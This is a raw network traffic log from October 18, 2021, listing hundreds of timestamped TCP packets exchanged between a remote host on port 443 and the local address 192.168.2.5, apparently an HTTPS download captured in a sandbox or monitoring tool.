Oct 18, 2021 22:45:56.788419008 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788439035 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788455963 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788480997 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788513899 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788531065 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788552999 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788573980 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788597107 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.788961887 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.789870024 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.789915085 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.789951086 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.789983034 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790019035 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790071964 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790106058 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790139914 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790175915 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790199041 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.790246964 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.791145086 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791176081 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791199923 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791223049 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791244030 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791265965 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791285992 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791307926 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791327953 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.791558981 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.792119026 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.792145967 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.792268991 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.792293072 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.794070959 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.794096947 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.794117928 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.794138908 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.794348955 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.795607090 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.795635939 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.795659065 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.795681000 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.795701981 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.795722961 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798276901 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798309088 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798331022 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798352003 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798372984 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798396111 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798419952 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798439980 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798461914 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798501968 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.798523903 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.799926043 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.799956083 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.801961899 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.801992893 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802014112 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802035093 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802056074 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802081108 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802104950 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802126884 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802148104 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802169085 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802342892 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.802381039 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802407026 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.802629948 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.803673029 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803704977 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803726912 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803751945 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803775072 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803795099 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803817987 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803838968 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803858995 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803880930 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803900003 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.803922892 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.804508924 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.805077076 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805109024 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805130959 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805151939 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805172920 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805192947 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805217028 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805238008 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805260897 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805283070 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805357933 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.805360079 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805383921 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805407047 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.805428982 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806602955 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806631088 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806653976 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806675911 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806696892 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806719065 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806740046 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806762934 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806785107 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806797028 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.806806087 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806828976 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806849957 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806869984 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.806890965 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.807012081 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.808116913 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808146000 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808168888 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808192015 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808213949 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808234930 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808257103 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808281898 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808304071 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808325052 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808346033 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808367014 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808387041 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808408976 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808417082 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.808432102 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808455944 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808478117 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.808501005 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809458971 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809487104 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809506893 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809526920 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809547901 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809565067 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809586048 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809631109 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809654951 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809674978 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809698105 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809720039 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809742928 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809765100 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809784889 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809808016 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.809978008 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.810206890 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.811201096 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811234951 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811256886 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811279058 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811300993 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811321974 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811342955 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811363935 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811386108 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811409950 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811433077 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811454058 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811475039 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811499119 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811518908 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811541080 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811561108 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811585903 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811609983 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811630964 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811652899 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.811670065 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812028885 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.812342882 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.812346935 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812376976 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812400103 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812422991 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812444925 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812465906 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812488079 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812514067 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812536001 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812556982 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812578917 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812598944 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.812959909 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.814944029 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.814980030 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815001965 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815020084 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815040112 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815061092 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815082073 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815149069 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815170050 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815193892 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815215111 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815237045 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815258980 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815279961 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.815435886 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.815675974 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.816106081 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.816133022 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.816155910 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.816179037 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.816200972 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.816221952 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819067001 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819097996 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819139004 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819161892 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819181919 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819202900 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819224119 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819247961 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819269896 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819292068 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819313049 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819334984 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819344044 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.819372892 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819391012 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.819547892 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.820369005 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820394993 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820417881 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820439100 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820462942 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820492983 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820513964 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820537090 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820560932 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820583105 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820605040 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820626020 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820650101 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820673943 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820683002 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.820693970 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820717096 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.820982933 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821008921 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821032047 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821053028 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821074963 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821110010 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.821116924 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821140051 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821160078 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821181059 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821202040 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821225882 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821248055 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821341038 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.821773052 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821800947 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821821928 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821842909 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821867943 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821891069 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821912050 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821934938 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821957111 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821978092 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.821999073 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822020054 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822221041 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.822866917 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822891951 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822911978 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822932005 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822952986 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822977066 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.822999001 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823021889 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823045015 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823065996 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823086977 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823107958 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823144913 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823169947 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823194027 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823211908 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823232889 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823256016 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823276997 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823297977 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823318958 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823343039 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823365927 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823370934 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.823388100 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823410034 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.823585033 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.824989080 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825017929 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825042009 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825064898 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825086117 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825108051 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825129032 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825150967 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825171947 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825193882 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825217962 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825241089 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825256109 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.825263977 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825285912 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825308084 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825330019 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825351000 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825371981 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825396061 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825419903 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825440884 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825463057 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825465918 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.825484991 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825506926 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825529099 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825550079 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.825668097 CEST	54451	443	192.168.2.5	172.217.168.33
Oct 18, 2021 22:45:56.826358080 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826383114 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826405048 CEST	443	54451	172.217.168.33	192.168.2.5
Oct 18, 2021 22:45:56.826426029 CEST	443	54451	172.217.168.33	192.168.2.5
